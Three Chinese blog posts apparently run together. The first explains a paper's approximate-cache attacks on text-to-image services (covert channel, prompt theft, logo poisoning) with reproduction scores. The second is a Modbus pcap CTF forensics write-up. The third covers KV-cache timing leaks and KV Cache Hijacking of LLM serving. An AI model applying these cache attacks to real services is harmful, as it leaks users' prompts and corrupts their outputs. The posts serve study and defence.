从原理到攻击:Approximate Cache 安全问题与文生图缓存攻击实验
0.前言
上一篇研究 KV Cache 的时候,我介绍了KV cache攻击,缓存本来只是一个性能优化,它主要就是用来解决大模型推理太贵了,之前已经算过的东西,就尽量不要
重复算的问题,直接把这些东西保存下来,下一次 Attention 的时候继续使用就好了,但是只要这个缓存开始在不同请求甚至不同用户之间复用,它就不再只是性
能问题,而会变成安全问题;攻击者并不用真正读取服务器中的 KV Cache,有的时候只需要观察时间差就可以了,如下
Cache Hit---> 少计算了一部分内容---->响应速度变快----->攻击者观察时间差----->推断缓存中是否存在某些内容
进一步来说,如果缓存中的状态能够被攻击者提前影响,并且之后又被其他用户复用,那么攻击方向就从读取cache,变成了污染 cache
也就是我之前所写的文章里提到的KV Cache Hijacking Poisoning
然后最近看 USENIX Security 2026 的时候,又发现了一篇更有意思的论文
这一次研究的甚至不是 GPT ,Llama 这种语言模型,而是 Stable Diffusion、FLUX 这类文生图模型,但是攻击思想是一致的,基本上都是
为了性能---->共享某些中间状态----->不同用户之间产生间接联系--->原本不存在的攻击面出现,但是两者之间还是略有区别的
研究人员发现,为了让 AI 画图更快而引入的一种 Approximate Cache,也就是近似缓存,它和普通的cache最大的区别就在于
普通 Cache 通常要求输入相同才命中,而 Approximate Cache 甚至只要求输入足够相似
这种设计虽然提高了效率,却也可能削弱不同用户之间的隔离,所以可以被利用来传递秘密,偷 Prompt,甚至污染别人的生成结果
1.原理
1.1 Diffusion Model 为什么也需要 cache
这里虽然涉及到原理,但是不要喧宾夺主,我简要说一下diffusion的工作原理
简单来说就是,全是噪声的图片 ---> Step 1 去噪 ----> Step 2 去噪 ----> Step 3 去噪 ----> ...... ----> Step 30 ---> 最终图片
Prompt 会在这个过程中不断指导去噪,前面的去噪步骤不是完全没有意义的过渡状态,这些中间结果已经包含了一部分生成信息
甚至图片比较早期的布局、结构等特征,就可能已经在中间状态里逐渐形成,而这其中就会涉及到KV 缓存的问题
就比如说,如果别人刚才已经生成过一张和我非常相似的图片,那为什么我一定要从 Step 1 重新算?
用户A 用promptA产生 1 → 2 → 3 → ... → 10 → 11 → ... → 30 中途可能保存10的状态
然后来了用户B ,他的Prompt B 与 A 很相似,所以会直接复用 Step 10 的状态 ...→ 11 → 12 → ... → 30
前面的部分就不用重新计算了,相似度越高,理论上能够复用、跳过的步骤也可以越多
其参考设计会缓存多个阶段的状态,从而按照 Prompt 相似度选择不同程度的复用
1.2 两者的对比
传统的cache好理解,可以这么认为,假设缓存里面有key = "hello",那么你访问hello,就可能命中;但是如果访问的是hello world,就可能不会命中
但是 Approximate Cache 不一样,主要还是要纠结一下两个 Prompt 到底多像才算相似?
论文研究的参考系统会把 Prompt 转换为 CLIP Embedding,然后计算新 Prompt 和已有缓存 Prompt 的 cosine similarity
当相似度超过某个 threshold 后,就把它认为是 Cache Hit,打个比方来说
Prompt A的提示词是,A cute golden retriever running through a green park
在高维向量空间里面可能就被编码为 [0.13, -0.41, 0.72, 0.18, ...]
而另一个提示词Prompt B: A happy golden dog running outside on the grass
假设编码为[0.15, -0.39, 0.69, 0.21, ...]
这样就有了两组编码数据,然后计算cosine_similarity(A, B),假设得到0.82,超过系统阈值,所以它们是相似的
注意,这里用户 A 和用户 B 输入的文字压根不是一样的,在传统 Cache 的思维里,A是不等于B的
但在 Approximate Cache 里:Semantic(A) ≈ Semantic(B),所以说Cache(A) 可以被 B 复用
以前的攻击者可能需要猜受害者到底输入了什么字符串?现在只需要向向受害者 Prompt 所在的语义空间靠近就可以了
但是这里可能就会有个问题,高维空间向量,攻击者是看不见的,所以可以怎么攻击?
毕竟别说攻击者了,就是正常用户,也是看不到cache = {prompt1: state1,prompt2: state2,prompt3: state3}这种存储数据的
攻击者没有 root,也没有 GPU 显存读取权限,也没有服务器源码
甚至不知道别的用户生成过什么东西,那这种攻击怎么实现?
可以借鉴一下传统的KV cache攻击是怎么 观察到攻击的
2.观察
论文里面提出了两种外部观察对象,后面三种攻击全是由这两种组合而来的
2.1 Attack Primitive 1
这一种很熟悉了吧,就是传统的kv cache攻击,通过去观察相应时间去判断自己的攻击是否有效,这一点详细可以看看我上一篇文章,这里就不再赘述了
https://www.yijinglab.com/specialized/202609081115122.2 Attack Primitive 2
这种攻击就有Diffusion Model这种图片生成模型的特点了,简单来说就如果命中同一cache的图片会长得更像
先假设服务器缓存了,A dog running through a forest 对应的某个中间状态
现在攻击者发送两个不同 Prompt
Prompt A:A golden retriever running in the woods
Prompt B:A dog running quickly in a dark forest
假设它们都命中了同一个 cached state,那么也就是
它们后半部分虽然分别继续生成,但是起点已经共享了一部分信息,所以最终图片可能在,比如说主题位置,布局或者是姿态等等方面上会更加相似
所以攻击者这个时候就有了两种可以观察的攻击窗口了
这样这两种观察对象就可以组合从三种攻击方式
3.攻击
3.1 第一种攻击:Remote Covert Channel
第一个攻击叫Remote Covert Channel,也就是远程隐蔽信道
打个比方,假设有两个人A和B,它们之间没有直接通信的通道,但是两个人都可以访问同一个图片生成服务
那么就可以利用服务器里的 cache 传递信息,因为cache本质上是可以保存状态的
比如说A和B提前约定一个非常罕见的词,Apricity
A如果想传递数字1,那么就向服务器发送一个包含这个词的特殊 Prompt
例如说,A mysterious landscape named Apricity with a dog
如果说这个请求没有命中已有 cache,它的 Prompt 和中间状态就可能被保存
于是服务器里存在这样一种cache
Apricity + dog
B再发送,A beautiful scene representing Apricity
注意看,这里因为两个 Prompt 中都有非常特殊的关键词,Apricity,所以语义上更容易靠近A留下的 cache
如果命中了,生成时间下降了,那么B就知道,这个 cache Entry 可能存在
于是规定,HIT=1,MISS=0,这样一位就传出来了
那这里其实就有个问题,为什么光靠响应时间是不够的?因为Approximate Cache 不是,key == key这么简单
而是,similarity > threshold;所以当B发出Apricity的时候
以后即使观察到了 cache Hit,也不能 100% 确定,命中的就是A留下来的东西
有可能刚好碰上其他用户留下的某个相似 Prompt,也就是出现所谓的False Positive
所以论文中再利用了Attack Primitive 2,也就是marker
于是A实际写入,Special Keyword+Marker
B之后首先判断,生成时间是不是足够短,也就是是不是cache hit,紧接着又判断生成图片中有没有出现Marker,也就是是否是当初A留下的cache
于是两种侧信息结合,才确认这就是cache entry
基于如此,就可以愉快地通信了,当然肯定是二进制通信了
比如说双方约定五个关键词,word1,word2,word3,word4,word5,然后二进制是10110
那A只要让word1 → 写 Cache,word2 → 不写,word3 → 写 Cache,word4 → 写 Cache,word5 → 不写
而B只要挨个去探针检测一番,就可以得到,word1 → Hit → 1,word2 → Miss → 0,word3 → Hit → 1,word4 → Hit → 1,word5 → Miss → 0
就会得到10110,就这样两个用户即使没有email,database,共享文件等杂七杂八的东西,也能够通过AI 服务内部的 Cache 状态做到通信
下面是实验复现结果,代码太长太复杂,前置准备东西太多,这里就不一一列举了
实验中发送方通过构造会命中或不命中 approximate cache 的 prompt 来编码二进制信息,接收方可以通过两类侧信道判断每一位:
Cache hit → 推理跳过部分 denoising steps → 延迟较低
Cache miss → 完整生成 → 延迟较高
这一点就是我刚刚上述说的
截图中的结果中最重要的结果是,Timing-only accuracy = 100%
说明仅利用远程生成请求的响应时间,就已经可以完整恢复发送方编码的 10-bit 消息
这个攻击首先对 FLUX 的 cache hit / miss 延迟进行了 profiling,确认 cache hit 会产生明显的延迟下降;随后将 bit 1 和 bit 0 分别编码成 cache hit 与 cache
miss,最终成功通过时间差恢复消息,也就是确定了Approximate cache 的命中状态可以形成远程 timing covert channel,攻击者无需访问模型内部状态,仅通
过生成延迟即可传输隐藏信息
3.2 第二种攻击:CacheExposer
这种攻击我觉得是最有意思的,它是在讲能不能把其他用户缓存里的 prompt 偷出来?
毕竟一段经过反复调试prompt本身就具有一定的商业价值
过去的偷prompt的方法无不都需要攻击者要先看到受害者生成出来的图片,但是 CacheExposer 的攻击模型更加有意思,完全不需要那些虚头巴脑的东西
我们知道因为看不见cache,所以无法通过时间差来达到偷prompt的目的,因为攻击者发送的探针不一定命中的是同一个 Prompt
所以这里就结合了Attack Primitive 2
我们先假设Probe A,Probe B和Probe C三者命中了同一个 Cached Prompt,那么根据Attack Primitive 2它们生成的图片结构往往更接近
大概类似这样Group 1有Prompt A,Prompt F,Prompt J;Group 2有Prompt B,Prompt C和Prompt H
然后就有个经典的问题了,有了一堆相似 Prompt,怎么找原始 Prompt?
我们先假设经过聚类得到的如下所示
Probe A:
a medieval warrior in a dark forest
Probe B:
a knight standing between trees at night
Probe C:
fantasy armored warrior inside a forest
Probe D:
a realistic knight surrounded by woodland
它们全都命中了,Unknown Cached Prompt X;那么即使不知道 X 是什么,也能得出一个信息
X 在语义空间里,应该同时靠近 A、B、C、D
所以现在变成寻找一个 Embedding E,使得,Similarity(E, A),Similarity(E, B),Similarity(E, C)和Similarity(E, D)
都满足我们从 Cache 行为中观察到的约束
打个比方,凭空猜一个人在哪很难办到,但是只有提供所在位置的地标或者是明显建筑就可以确定其位置
然后根据一组已经确定会命中相同 Cached Prompt 的 Probe,优化这个 E
目标是让E在embedding空间中尽可能满足这些 Probe 对未知目标的相似关系
论文使用 SGD 进行迭代优化,把构造 embedding 与这些 probing prompts 的相似度关系逼近目标 Cache 所表现出的相似关系
最后再用Prompt Recoverer,将高维向量的embedding转换为prompt,整体的攻击思路如下图
下面是实验复现结果,代码跟上述一样就不放了,占地方,直接放结果
该攻击的目标不是直接得到 victim 的图片,而是通过 approximate cache 泄漏的信息,恢复 victim 缓存中的原始 prompt
截图中的 victim prompt 为conceptual art of ....
最终恢复出的 stolen prompt 为highly detailed digital ....
两者的 semantic similarity 为Prompt semantic similarity = 0.7922
虽然没有逐字恢复 at night、classical painting、matte painting 等风格修饰词,但主要语义实体已经被成功恢复
也就足以证明攻击者仅利用 approximate cache 的 timing 信息和 prompt embedding 关系,就可以恢复缓存用户 prompt 的核心语义
3.3 第三种攻击:CachePoison
前两个攻击基本都是,从 Cache 里面拿信息,接下来这个攻击方向完全反过来了
不再是读取,而是修改;论文称之为CachePoison
如果看过上一篇 KV Cache Hijacking,其实这里应该已经很熟悉了
核心问题就是,如果攻击者能够构造一个特殊的缓存状态,而其他正常用户之后又会复用这个状态,会怎么样?
论文选择了一个很直观的 Payload,Logo
以前的投毒方式攻击者希望以后其他用户生成的图片里面都出现自己想要的东西,比如说Apple logo
最简单的办法似乎是Normal Prompt+Apple Logo
例如A beautiful futuristic city at night,Apple logo 就这么简单
然后让这个 Prompt 进入 Cache,但是这样问题来了
正常用户输入,A beautiful futuristic city at night
攻击者缓存的是A beautiful futuristic city at night,Apple logo
后面多了一个明显的概念,两个 Embedding 的相似度可能因此下降,投毒再强,没人命中也没用。
所以 Cache Poisoning 最大的问题是怎么在写入恶意内容以后,依然保持和正常 Prompt 足够相似
既然刚才已经有CacheExposer,那么就可以找出一些能够代表真实用户 Prompt 的内容
然后将其转换为embedding,然后向 Embedding 中加入Logo Information
但同时又尽量让新的 Embedding,仍然靠近原始 Prompt
论文为此构造 Logo Injector,并同时优化两个方向的相似度,既要保留原始 Prompt 的语义,又要保留 Logo 的信息。
最后Poisoned Embedding--->Prompt Recoverer---->Poisoned Prompt
攻击者再把这个 Prompt 发给系统,让它进入Approximate Cache
接下来最有意思的事情发生了
受害者正常输入,A beautiful modern street at night
他的 Prompt 里根本没有跟攻击者留下的投毒prompt相同的内容
但因为语义和攻击者留下的 Poisoned Prompt 足够接近:
结果图片里,可能出现攻击者提前植入的 Logo
论文明确描述,当正常用户命中 poisoned prompt 时,即使自己的 Prompt 中没有提到对应 Logo,最终输出也可能显示同样的 Logo
下面是实验复现结果
本次实验的 benign victim prompt 为 highly detailed digital painting of a medieval knight with angel wings in a forest
攻击者构造的 poisoned prompt 为 highly detailed digital painting of a medieval knight with angel wings in a forest, a huge Apple sign
而 受害者prompt 本身完全没有包含 Apple,截图中的自动视觉检测结果为:
Selected poison seed OWL score : 0.7100
Baseline OWL score : 0.0622
Poisoned victim OWL score : 0.4677
OWL score increase : +0.4055
这里最关键的是:
Baseline:
0.0622
Victim after poisoned cache:
0.4677
也就是说,在 victim prompt 完全没有指定 Apple sign 的情况下,命中攻击者的 poisoned cache 后,输出图像中的 Apple sign 检测分数显著提高
这说明攻击者能够通过 poisoned prompt 将自己的视觉内容写入 approximate cache;之后其他正常用户命中该 cache 时,其生成结果会继承攻击者注入的内容
4.总结
其实说是可以有三种攻击,但是其实它们实际上来自同一个根本问题
也就是不同用户之间原本应该彼此隔离,但是为了性能,共享了某种Intermediate State,而攻击者可以观察它甚至是影响它,再加上其他用户又会复用它,这就
会导致安全问题,毕竟观察它就可以泄露信息,修改它就可以影响别人,判断它存不存在就可以建立通信,如果说从这个角度来看的话,这三种攻击方式其实只是
这个共享状态安全问题的三个不同表现
5.参考
https://arxiv.org/abs/2508.20424
Modbus协议及其取证的学习笔记
ModBus协议
ModBus协议是工业自动化领域非常经典的通信协议。虽然诞生于 1979 年,但截至现在仍然大量存在于 PLC、变频器、仪表、传感器、能源设备、楼宇控制和 SCADA 系统中。
Modbus 的基本通信模型
传统 Modbus 通信采用 主从(Master/Slave) 模型,也有client/server的说法。
基本结构如下:
Master(主站)【负责发起请求】
│
┌──────┼──────┐
│ │ │
▼ ▼ ▼
Slave 1 Slave 2 Slave 3 【负责响应请求- 每个 Slave 通常具有唯一的设备地址】
从站 从站 从站
主站负责发起通信请求,从站根据请求返回数据。
例如:
PLC(主站)
│
│ 读取温度
▼
温度仪表(从站)
│
│ 返回 25.6℃
▼
PLC
Modbus 常见的通信方式主要有:
Modbus RTU
Modbus ASCII
Modbus TCP
其中工业现场最常见的是:
Modbus RTU 和 Modbus TCP
Modbus RTU和Modbus TCP
Modbus RTU
Modbus RTU 是 Modbus 最常见的串行通信模式之一。
RTU 使用二进制方式传输数据,通常运行在:
RS-485
RS-232
等串行通信接口上。
工业现场最常见的组合是:
Modbus RTU + RS-485
例如:
PLC
│
│ RS-485
│
├───────────────┐
│ │
▼ ▼
变频器1 变频器2
Slave 1 Slave 2
RS-485 和 Modbus RTU 的区别
Modbus RTU 是协议通信方式,RS-485 是常用的物理接口
Modbus RTU
↑
通信协议 / 数据格式
│
▼
RS-485
↑
物理通信接口
例如:
应用层: Modbus
│
▼
数据格式: Modbus RTU
│
▼
物理层: RS-485
│
▼
通信线路: A / B
Modbus TCP
Modbus TCP 是基于以太网和 TCP/IP 协议进行通信的 Modbus 版本。
它通常使用Ethernet, TCP/IP, RJ45 网口, 工业以太网交换机进行通信。
基本结构:
PLC
│
│ Ethernet
▼
工业交换机
│
├──────────────┐
│ │
▼ ▼
变频器 远程I/O
IP: IP:
192.168.1.10 192.168.1.20
Modbus TCP 通常使用502作为默认通信端口。
Modbus RTU 与 Modbus TCP 对比
Modbus 数据模型
在Modbus通信中,设备数据被组织在称为寄存器的单元中。client指定目标数据区和地址并发送读写请求。然后,server处理该请求并返回读请求的值或写请求的写确认。
Modbus 主要定义了四种数据类型:
总结如下:
Bit Word(16 bit)
│ │
┌────────┴────────┐ ┌───────┴────────┐
│ │ │ │
Coil Discrete Input Input Holding
线圈 离散输入 Register Register
│ │ │ │
读/写 只读 只读 读/写
│ │ │ │
控制 状态 测量值 参数/控制
Coil(线圈)
Coil 是一种单 bit 数据。
只能表示:
0 = OFF
1 = ON
例如:
Coil 00001 = 电机启动
可能定义为:
0 → 电机停止
1 → 电机启动
Discrete Input(离散输入)
Discrete Input 也是 bit 类型数据,但通常是只读的。
例如:
Discrete Input = 急停状态
可能:
0 → 正常
1 → 急停
Input Register(输入寄存器)
Input Register 通常用于存储只读数据。
例如:
30001 = 温度
30002 = 压力
30003 = 电流
例如:
30001 = 256
实际可能代表:
25.6 ℃
具体缩放方式由设备厂家定义。
Holding Register(保持寄存器)
Holding Register 是 Modbus 中非常常用的数据类型。
它通常用于:
参数设置
运行频率
电机转速
温度设定值
启停控制
状态数据
报警代码
例如:
40001 = 运行频率
40002 = 目标频率
40003 = 电机电流
40004 = 电机转速
PLC 可以通过 Modbus 对这些寄存器进行读取或者写入。
Modbus功能码
常见功能码如下:
工业自动化中最常见的功能码之一是:
03:读取 Holding Register
以及:
06 / 10:写入 Holding Register
Modbus取证题学习
附件是一个pcap文件,使用wireshark打开,一堆Modbus TCP的流量
Modbus TCP格式如下,它是作为TCP的payload的。因为有tcp的原因因此没有Modbus RTU的CRC校验,
简单来说现在有了一些不同function code的流量,我们先统计所有的function code,使用pyshark库提取
import pyshark
# 获取功能码, 统计出现次数
def get_code():
captures = pyshark.FileCapture(r"xxx\Modbus.pcap", tshark_path=r'D:\Wireshark\tshark.exe')
func_codes = {}
for pkt in captures:
if hasattr(pkt, "modbus"):
func_code = int(pkt.modbus.func_code)
if func_code in func_codes:
func_codes[func_code] += 1
else:
func_codes[func_code] = 1
print(func_codes)
if __name__ == "__main__":
get_code()
结果如下
{1: 702, 3: 702, 4: 702, 2: 702, 16: 2}
这里出现了非常规的16功能码,而且只有2次,很有可能是解题线索
过滤一下这些功能码为16的packet
import pyshark
# 检查function code的数据
def get_targetcode_data(target_code):
captures = pyshark.FileCapture(r"xxx\Modbus.pcap", tshark_path=r'D:\Wireshark\tshark.exe')
for c in captures:
for pkt in c:
if pkt.layer_name == "modbus":
func_code = int(pkt.func_code)
if func_code == target_code:
print(c)
if __name__ == "__main__":
get_targetcode_data(16)
两个packet:
packet1
Packet (Length: 117)
Layer ETH
: Destination: 52:54:00:a4:30:12
Address: 52:54:00:a4:30:12
.... ..1. .... .... .... .... = LG bit: Locally administered address (this
is NOT the factory default)
.... ...0 .... .... .... .... = IG bit: Individual address (unicast)
Source: 52:54:00:f8:5c:21
.... ..1. .... .... .... .... = LG bit: Locally administered address (this
is NOT the factory default)
.... ...0 .... .... .... .... = IG bit: Individual address (unicast)
Type: IPv4 (0x0800)
Address: 52:54:00:f8:5c:21
Layer IP
: 0100 .... = Version: 4
.... 0101 = Header Length: 20 bytes (5)
Differentiated Services Field: 0x00 (DSCP: CS0, ECN: Not-ECT)
0000 00.. = Differentiated Services Codepoint: Default (0)
.... ..00 = Explicit Congestion Notification: Not ECN-Capable Transport (0) Total Length: 103
Identification: 0x5f09 (24329)
Flags: 0x40, Don't fragment
0... .... = Reserved bit: Not set
.1.. .... = Don't fragment: Set
..0. .... = More fragments: Not set
...0 0000 0000 0000 = Fragment Offset: 0
Time to Live: 128
Protocol: TCP (6)
Header Checksum: 0x3f2f [validation disabled]
Header checksum status: Unverified
Source Address: 172.16.3.23
Destination Address: 172.16.1.33
Layer TCP
: Source Port: 1073
Destination Port: 502
Stream index: 2195
Conversation completeness: Incomplete, ESTABLISHED (7)
TCP Segment Len: 63
Sequence Number: 3073843007
Next Sequence Number: 3073843070
Acknowledgment Number: 1687629905
0101 .... = Header Length: 20 bytes (5)
Flags: 0x018 (PSH, ACK)
000. .... .... = Reserved: Not set
...0 .... .... = Nonce: Not set
.... 0... .... = Congestion Window Reduced (CWR): Not set
.... .0.. .... = ECN-Echo: Not set
.... ..0. .... = Urgent: Not set
.... ...1 .... = Acknowledgment: Set
.... .... 1... = Push: Set
.... .... .0.. = Reset: Not set
.... .... ..0. = Syn: Not set
.... .... ...0 = Fin: Not set
TCP Flags: ·······AP···
Window: 64240
Calculated window size: 64240
Window size scaling factor: -2 (no window scaling used)
Checksum: 0xe950 [unverified]
Checksum Status: Unverified
Urgent Pointer: 0
Timestamps
Time since first frame in this TCP stream: 0.014549000 seconds
Time since previous frame in this TCP stream: 0.007470000 seconds
SEQ/ACK analysis
iRTT: 0.007079000 seconds
Bytes in flight: 63
Bytes sent since last PSH flag: 63
TCP payload (63 bytes)
PDU Size: 63
Layer MBTCP
: Transaction Identifier: 0
Protocol Identifier: 0
Length: 57
Unit Identifier: 1
Layer MODBUS
: .001 0000 = Function Code: Write Multiple Registers (16)
Reference Number: 1
Word Count: 25
Byte Count: 50
Register 1 (UINT16): 84
Register Number: 1
Register Value (UINT16): 84
Register 2 (UINT16): 104
Register 3 (UINT16): 101
Register 4 (UINT16): 77
Register 5 (UINT16): 111
Register 6 (UINT16): 100
Register 7 (UINT16): 98
Register 8 (UINT16): 117
Register 9 (UINT16): 115
Register 10 (UINT16): 80
Register 11 (UINT16): 114
Register 12 (UINT16): 111
Register 13 (UINT16): 116
Register 14 (UINT16): 111
Register 15 (UINT16): 99
Register 16 (UINT16): 111
Register 17 (UINT16): 108
Register 18 (UINT16): 73
Register 19 (UINT16): 115
Register 20 (UINT16): 70
Register 21 (UINT16): 117
Register 22 (UINT16): 110
Register 23 (UINT16): 110
Register 24 (UINT16): 121
Register 25 (UINT16): 33
Register Number: 2
Register Number: 3
Register Number: 4
Register Number: 5
Register Number: 6
Register Number: 7
Register Number: 8
Register Number: 9
Register Number: 10
Register Number: 11
Register Number: 12
Register Number: 13
Register Number: 14
Register Number: 15
Register Number: 16
Register Number: 17
Register Number: 18
Register Number: 19
Register Number: 20
Register Number: 21
Register Number: 22
Register Number: 23
Register Number: 24
Register Number: 25
Register Value (UINT16): 104
Register Value (UINT16): 101
Register Value (UINT16): 77
Register Value (UINT16): 111
Register Value (UINT16): 100
Register Value (UINT16): 98
Register Value (UINT16): 117
Register Value (UINT16): 115
Register Value (UINT16): 80
Register Value (UINT16): 114
Register Value (UINT16): 111
Register Value (UINT16): 116
Register Value (UINT16): 111
Register Value (UINT16): 99
Register Value (UINT16): 111
Register Value (UINT16): 108
Register Value (UINT16): 73
Register Value (UINT16): 115
Register Value (UINT16): 70
Register Value (UINT16): 117
Register Value (UINT16): 110
Register Value (UINT16): 110
Register Value (UINT16): 121
Register Value (UINT16): 33
packet2
Packet (Length: 63)
Layer ETH
: Destination: 52:54:00:f8:5c:21
Address: 52:54:00:f8:5c:21
.... ..1. .... .... .... .... = LG bit: Locally administered address (this
is NOT the factory default)
.... ...0 .... .... .... .... = IG bit: Individual address (unicast)
Source: 52:54:00:a4:30:12
.... ..1. .... .... .... .... = LG bit: Locally administered address (this
is NOT the factory default)
.... ...0 .... .... .... .... = IG bit: Individual address (unicast)
Type: IPv4 (0x0800)
Address: 52:54:00:a4:30:12
Layer IP
: 0100 .... = Version: 4
.... 0101 = Header Length: 20 bytes (5)
Differentiated Services Field: 0x00 (DSCP: CS0, ECN: Not-ECT)
0000 00.. = Differentiated Services Codepoint: Default (0)
.... ..00 = Explicit Congestion Notification: Not ECN-Capable Transport (0) Total Length: 49
Identification: 0x1f67 (8039)
Flags: 0x40, Don't fragment
0... .... = Reserved bit: Not set
.1.. .... = Don't fragment: Set
..0. .... = More fragments: Not set
...0 0000 0000 0000 = Fragment Offset: 0
Time to Live: 64
Protocol: TCP (6)
Header Checksum: 0xbf07 [validation disabled]
Header checksum status: Unverified
Source Address: 172.16.1.33
Destination Address: 172.16.3.23
Layer TCP
: Source Port: 502
Destination Port: 1073
Stream index: 2195
Conversation completeness: Incomplete, DATA (15)
TCP Segment Len: 9
Sequence Number: 1687629905
Next Sequence Number: 1687629914
Acknowledgment Number: 3073843070
0101 .... = Header Length: 20 bytes (5)
Flags: 0x018 (PSH, ACK)
000. .... .... = Reserved: Not set
...0 .... .... = Nonce: Not set
.... 0... .... = Congestion Window Reduced (CWR): Not set
.... .0.. .... = ECN-Echo: Not set
.... ..0. .... = Urgent: Not set
.... ...1 .... = Acknowledgment: Set
.... .... 1... = Push: Set
.... .... .0.. = Reset: Not set
.... .... ..0. = Syn: Not set
.... .... ...0 = Fin: Not set
TCP Flags: ·······AP···
Window: 29200
Calculated window size: 29200
Window size scaling factor: -2 (no window scaling used)
Checksum: 0x6c02 [unverified]
Checksum Status: Unverified
Urgent Pointer: 0
Timestamps
Time since first frame in this TCP stream: 0.016131000 seconds
Time since previous frame in this TCP stream: 0.001000000 seconds
SEQ/ACK analysis
iRTT: 0.007079000 seconds
Bytes in flight: 9
Bytes sent since last PSH flag: 9
TCP payload (9 bytes)
PDU Size: 9
Layer MBTCP
: Transaction Identifier: 0
Protocol Identifier: 0
Length: 3
Unit Identifier: 1
Layer MODBUS
: .001 0000 = Function Code: Write Multiple Registers (16)
Exception Code: Illegal data address (2)
其中注意到packet2报错Exception Code: Illegal data address (2)
我们把packet1的tcp payload给提取出来(tcp payload其实就是modbus tcp的相应数据)
import pyshark
def get_targetcode_data(target_code):
captures = pyshark.FileCapture(r"xxx\Modbus.pcap", tshark_path=r'D:\Wireshark\tshark.exe')
for c in captures:
for pkt in c:
if pkt.layer_name == "modbus":
func_code = int(pkt.func_code)
if func_code == target_code:
payload = str(c["TCP"].payload)
print(parse_payload(payload))
def parse_payload(payload):
data = payload.split(":")
flag = ""
for i in data:
_ord = ord(bytes.fromhex(i))
if (_ord > 0) and (_ord < 128):
flag += (chr(_ord))
return flag
if __name__ == "__main__":
get_targetcode_data(16)
在register之间采用\x00字节隔断
具体打印就是flag:TheModbusProtocolIsFunny!
从原理到攻击:KV Cache 安全问题与跨会话泄漏实验
0.前言
最近接触到了新的AI攻击概念,打算从这方面入手学习一下
1.KV cache
KV Cache可以理解成,LLM 在逐字生成时,把前面所有 token 已经算好的注意力素材存放起来
后面直接复用,避免反复计算
我们知道在transformer中有Q,K,V这三个,对应的公式大概如下
这里我们用通俗的语言形容就是,Q是指我现在在想什么,K是说每个历史的token应该怎么被检索到,而V就是找到之后,真正可以提取出来的信息
我们举个例子来说,比如说
苹果公司要发布一部新的手机,那么它的名字是....
生成下一个词的时候,当前 token 的 Q 可能在问,上下文提到手机名字会是啥?
然后拿 Q 和历史所有 K 比较,找到相关位置,再读取对应的 V
有了KV cache就可以减少AI很多工作量,比如说我们举个例子
假设已经生成,我 今天 回 学校,现在要生成第 5 个 token
如果没有 KV Cache,模型每生成一次,都可能重新计算:
第1步,我->算KV
第2步,我,今天-->算我,今天的KV
第3步,我,今天,回-->算我,今天,回的KV
第4步,我,今天,回,学校--->算我,今天,回,学校的KV
这里大量工作是重复的,因为对于一个固定的历史 token,比如我,在同一层 Transformer 中,可能就是K我,V我
之前就已经算出来,所以其实是不会有太大的改变的
所以可以第一次算完以后直接保存的
生成下一个 token 时,只需要计算当前新 token的,比如说Q5,K5,V5之类的
然后把新的K5,V5都放到缓存中去,就大概类似这样
然后再去读取相应一连串的V值
那么这里我们可能会注意到一个问题,为什么Q值不需要缓存呢?
因为生成第 t个 token 时,当前 token 的 Q 只在当前这一步使用,而历史 token 的 Q 后面基本用不到,但历史 token 的 K、V 每生成一个新 token 都要被访问
也就是说:历史 Q用完即丢,历史 K,V之后还要用
所以只缓存K 和 V
KV Cache一般来说不是整个模型只存一份
Transformer 有很多层,比如 32 层,那么每一层注意力机制都有自己的 KV Cache,可以画个简略图
大致结构是:
Layer 1:
K cache
V cache
Layer 2:
K cache
V cache
Layer 3:
K cache
V cache
...
Layer 32:
K cache
V cache
而且每一个历史 token 都要存
这也解释了为什么上下文很吃显存,因为token越多,KV cache越大
1K context
████
4K context
████████████████
32K context
████████████████████████████████...
128K context
巨量 KV Cache
模型参数大小通常是固定的,但KV Cache 会随着上下文长度线性增长
我们日常在使用大模型进行相应的推理的时候,实际上是分为两阶段,分别是Prefill即输入预填充,Decode逐token生成
Prefill,模型处理全部输入token,计算每一层的中间表示以及注意力所需的Key/Value状态
比如说输入了一段 1000 token 的 prompt,Prefill 阶段会一次性处理这 1000 token,并生成:
K1,V1
K2,V2
...
K1000,V1000
并且把它们全部放进 KV Cache
Decode模型逐步生成输出token,并复用此前已经计算的注意力状态
生成第 1001 个 token,只计算新token的Q,K,V,也就是对应的Q1001和历史的K1~K1001,用来做新的注意力,从而生成了1001token,再把K1001和V1001加
入到cache中,过程类似下面这张图
一句话来说就是输入Prompt,到Prefill(处理输入并建立注意力状态),再Decode(逐 token 生成输出)
总之,KV Cache = 缓存历史 token 的 Key 和 Value,让下一个 token 做 Attention 时直接查历史,而不用重新计算整个上下文
2.KV cache攻击
kv cache攻击一句话解释就是攻击者通过缓存命中造成的响应延迟差异,推断其他用户是否处理过某段敏感前缀,从而泄露请求存在性或内容特征
假设服务器上刚刚有用户 A 发过,我的银行卡密码是 123456
为了提高吞吐量,推理服务器可能不仅在 A 当前的生成过程中保存 KV,还启用了prefix caching也就是前缀缓存:
"我的银行卡密码是 123456"--->对应的KV 缓存,供之后相同 prefix 的请求复用
然后攻击者 B 和 A 恰好使用同一个多租户推理后端,B 猜:我的银行卡密码是 111111
缓存没命中,需要重新 prefill,而这时的耗时是会比较较长的
所以可以再猜,我的银行卡密码是 123456
如果命中已经存在的 prefix cache,不用重新算这部分,Time To First Token 明显变短
于是攻击者虽然,一没看不到 KV ,二看不到别人的 prompt,三也没有 GPU 权限,但却能通过响应时间来猜测内容,这就是这就是经典的 timing side channel
前缀缓存计时侧信道,vLLM 的安全公告就披露过这种情况:当匹配前缀达到一定长度后,cache hit 和 miss 的 时间差异可以非常明显;
说白了倒是有点像web里面的SQL时间盲注了
最近还有一种更有意思的KV cache攻击,KV Cache Hijacking https://arxiv.org/pdf/2607.19957
和偷数据不同的方向,不是读取别人的 KV,而是污染一个可能被别人复用的 KV
2026 USENIX Security 的 HijackKV 研究了 position-independent KV reuse 带来的问题,某些优化允许:
只要某段文本相同,即使它出现在不同位置,也尽量复用 KV
但是问题在于KVi,并不单纯只编码当前这个 token,它还受到之前上下文的影响
举个例子,攻击者请求一个,[恶意上下文] + "Summarize the document"
而"Summarize the document" 对应的 KV 已经受到恶意前文影响
如果系统以后仅因为文本相同,就把这段 KV 给另一个正常用户
正常用户, [正常上下文] + "Summarize the document" 错误地复用了攻击者制造的 KV
那么,用户输入里甚至没有攻击文本,模型行为仍可能受到已经污染的 KV 影响,这类攻击叫 KV Cache Hijacking,本质是恶意构造缓存,受害者错误复用
它和 timing attack 正好是两个方向:
3.KV cache攻击简单操作
这里我们做一个简单且直观的实验
KV cache 隔离/索引错误 → 不同用户的上下文被错误复用 → 跨会话信息泄露
